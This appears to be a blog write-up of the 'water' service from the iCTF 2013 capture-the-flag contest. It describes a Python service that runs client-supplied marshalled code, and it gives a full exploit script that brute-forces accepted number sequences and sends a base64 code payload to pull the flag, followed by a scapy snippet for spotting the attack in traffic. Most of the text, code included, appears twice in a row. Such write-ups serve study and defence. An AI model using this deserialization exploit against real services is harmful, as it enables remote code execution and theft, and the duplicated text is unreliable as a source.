ictf 2013 water write up
I want to give a quick write up for the water service in the ictf 2013 that just ended.
The service was written in python and the vulnerability could be found, when the function calculate returns "True". Then you were able to create your own python function that was executed. The source line (when I recall right) was like:
types.FunctionType(marshal.loads(base64.b64decode(data), globals())(clientsocket)
(sorry, I did not copy the source code)
The calculate() function created an array with 9 static values which were used as an upper and lower limit for a sequence one could enter. The sequence is used to create an array with exactly 9 unique indices where the value to these indices was the count of this index in the sequence. After some trying to create an logic that creates the right unique sequence number (because the service will remember the sequence number ... so you have to use a new one) we came up with this quick exploit (it uses the exploit framework of the ictf 2013):
#!/usr/bin/env python
import math
from socket import *
from time import time
from time import sleep
import sys
import re
BUFSIZE = 1024
class Client:
def __init__(s,host,port):
s.__HOST = host
s.__PORT = port
s.__ADDR = (s.__HOST,s.__PORT)
s.__sock = None
def makeConnection(s):
# for TCP connection
s.__sock = socket( AF_INET,SOCK_STREAM)
# for UDP connection
# s.__sock = socket( AF_INET,SOCK_DGRAM)
s.__sock.connect(s.__ADDR)
def sendCmd(s, cmd):
# print cmd
s.__sock.send(cmd)
def getResults(s):
return s.__sock.recv(BUFSIZE)
def close(s):
s.__sock.close()
class Exploit():
def calculate(self, sequence):
m = []
for i in range(1,10):
m.append(math.log10(1+1.0/i))
nums = [x[0] for x in sequence.split(",")]
o = {}
for num in nums:
if num in o:
o[num] += 1
else:
o[num] = 1
if len(o) != 9:
# print sequence
return False
else:
for d in sorted(o):
# print "THIS ROUND %s" %d
# print ">= %s" % (m[int(d)-1] - 0.05)
# print "<= %s" % (m[int(d)-1] + 0.05)
# print float(o[d]) / sum([int(x) for x in o.values()])
if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
return d, (m[int(d)-1] - 0.05), (m[int(d)-1] + 0.05), float(o[d]) / sum([int(x) for x in o.values()])
# use 13 as value for true
return 13, 0, 0, 0
def execute(self, ip, port, flag_id):
sequence = "1,2,3,4,5,6,7,8,9"
next_value = 1
'''
>>> def test(s):
... s.send(flag)
...
>>> base64.b64encode(marshal.dumps(test.__code__))
'YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNl
bmR0BAAAAGZsYWcoAQAAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ=='
=>
PAYLOAD: YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNlbmR0BAAAAGZ
sYWcoAQAAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ==
'''
payload = "YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNlbmR0BAAAAGZsYWcoAQ
AAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ=="
while True:
erg, down_limit, up_limit, calc_value = self.calculate(sequence)
if erg == 13:
if len(sequence) < 1022:
# print "NEW SEQUENCE:"
# print sequence
# print ""
try:
client = Client(ip, port)
client.makeConnection()
data = client.getResults()
if data == "Welcome back. Please insert your measurement\n:":
client.sendCmd(sequence)
data = client.getResults()
if data == "Thanks, but we have already seen this measurement\n":
pass
# print "sequence already used"
elif data == "Floods ahead! Please enter your command\n:":
client.sendCmd(payload)
data = client.getResults()
if re.match("^FLG.{13}$", data):
# flag found
self.flag = data
client.close()
# print data
return
client.close()
except:
pass
sequence += ","
sequence += str(next_value)
next_value = ((next_value + 1) % 9)+1
else:
# generate new sequence
sequence = str(next_value)
next_value = ((next_value+1) % 9)+1
for i in range(9):
sequence += ","
sequence += str(next_value)
next_value = ((next_value+1) % 9)+1
else:
if calc_value < down_limit:
sequence += ','
sequence += erg
else:
sequence += ','
sequence += str(next_value)
next_value = ((next_value + 1) % 9)+1
def result(self):
return {'FLAG': self.flag}
If you wanted to find this exploit in the netflow ...

... you could do some quick and dirty searching with scapy for this:
[...]
for pkt in pkts:
for i in range(len(netflow_data)):
if pkt.getlayer(TCP).dport == 3333 and pkt.haslayer(Raw) and pkt.getlayer(TCP).sport == int(netflow_data[i][0],10):
data=pkt.getlayer(Raw).load
# workaround: search for base64 in data
if re.search(r"[A-Z]", data) and re.search(r"[a-z]", data) and re.search(r"[0-9]", data) and len(data) >= 200 and not re.search(r",", data):
print "Exploit found!"
print "ID: %s" % netflow_data[i][1]
[...]
But besides the network disaster it was a nice ctf
Thanks to the organizers ....
The service was written in python and the vulnerability could be found, when the function calculate returns "True". Then you were able to create your own python function that was executed. The source line (when I recall right) was like:
types.FunctionType(marshal.loads(base64.b64decode(data), globals())(clientsocket)
(sorry, I did not copy the source code)
The calculate() function created an array with 9 static values which were used as an upper and lower limit for a sequence one could enter. The sequence is used to create an array with exactly 9 unique indices where the value to these indices was the count of this index in the sequence. After some trying to create an logic that creates the right unique sequence number (because the service will remember the sequence number ... so you have to use a new one) we came up with this quick exploit (it uses the exploit framework of the ictf 2013):
#!/usr/bin/env python
import math
from socket import *
from time import time
from time import sleep
import sys
import re
BUFSIZE = 1024
class Client:
def __init__(s,host,port):
s.__HOST = host
s.__PORT = port
s.__ADDR = (s.__HOST,s.__PORT)
s.__sock = None
def makeConnection(s):
# for TCP connection
s.__sock = socket( AF_INET,SOCK_STREAM)
# for UDP connection
# s.__sock = socket( AF_INET,SOCK_DGRAM)
s.__sock.connect(s.__ADDR)
def sendCmd(s, cmd):
# print cmd
s.__sock.send(cmd)
def getResults(s):
return s.__sock.recv(BUFSIZE)
def close(s):
s.__sock.close()
class Exploit():
def calculate(self, sequence):
m = []
for i in range(1,10):
m.append(math.log10(1+1.0/i))
nums = [x[0] for x in sequence.split(",")]
o = {}
for num in nums:
if num in o:
o[num] += 1
else:
o[num] = 1
if len(o) != 9:
# print sequence
return False
else:
for d in sorted(o):
# print "THIS ROUND %s" %d
# print ">= %s" % (m[int(d)-1] - 0.05)
# print "<= %s" % (m[int(d)-1] + 0.05)
# print float(o[d]) / sum([int(x) for x in o.values()])
if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
return d, (m[int(d)-1] - 0.05), (m[int(d)-1] + 0.05), float(o[d]) / sum([int(x) for x in o.values()])
# use 13 as value for true
return 13, 0, 0, 0
def execute(self, ip, port, flag_id):
sequence = "1,2,3,4,5,6,7,8,9"
next_value = 1
'''
>>> def test(s):
... s.send(flag)
...
>>> base64.b64encode(marshal.dumps(test.__code__))
'YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNl
bmR0BAAAAGZsYWcoAQAAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ=='
=>
PAYLOAD: YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNlbmR0BAAAAGZ
sYWcoAQAAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ==
'''
payload = "YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNlbmR0BAAAAGZsYWcoAQ
AAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ=="
while True:
erg, down_limit, up_limit, calc_value = self.calculate(sequence)
if erg == 13:
if len(sequence) < 1022:
# print "NEW SEQUENCE:"
# print sequence
# print ""
try:
client = Client(ip, port)
client.makeConnection()
data = client.getResults()
if data == "Welcome back. Please insert your measurement\n:":
client.sendCmd(sequence)
data = client.getResults()
if data == "Thanks, but we have already seen this measurement\n":
pass
# print "sequence already used"
elif data == "Floods ahead! Please enter your command\n:":
client.sendCmd(payload)
data = client.getResults()
if re.match("^FLG.{13}$", data):
# flag found
self.flag = data
client.close()
# print data
return
client.close()
except:
pass
sequence += ","
sequence += str(next_value)
next_value = ((next_value + 1) % 9)+1
else:
# generate new sequence
sequence = str(next_value)
next_value = ((next_value+1) % 9)+1
for i in range(9):
sequence += ","
sequence += str(next_value)
next_value = ((next_value+1) % 9)+1
else:
if calc_value < down_limit:
sequence += ','
sequence += erg
else:
sequence += ','
sequence += str(next_value)
next_value = ((next_value + 1) % 9)+1
def result(self):
return {'FLAG': self.flag}
If you wanted to find this exploit in the netflow ...

... you could do some quick and dirty searching with scapy for this:
[...]
for pkt in pkts:
for i in range(len(netflow_data)):
if pkt.getlayer(TCP).dport == 3333 and pkt.haslayer(Raw) and pkt.getlayer(TCP).sport == int(netflow_data[i][0],10):
data=pkt.getlayer(Raw).load
# workaround: search for base64 in data
if re.search(r"[A-Z]", data) and re.search(r"[a-z]", data) and re.search(r"[0-9]", data) and len(data) >= 200 and not re.search(r",", data):
print "Exploit found!"
print "ID: %s" % netflow_data[i][1]
[...]
But besides the network disaster it was a nice ctf

Trackbacks
The author does not allow comments to this entry
Comments
Display comments as Linear | Threaded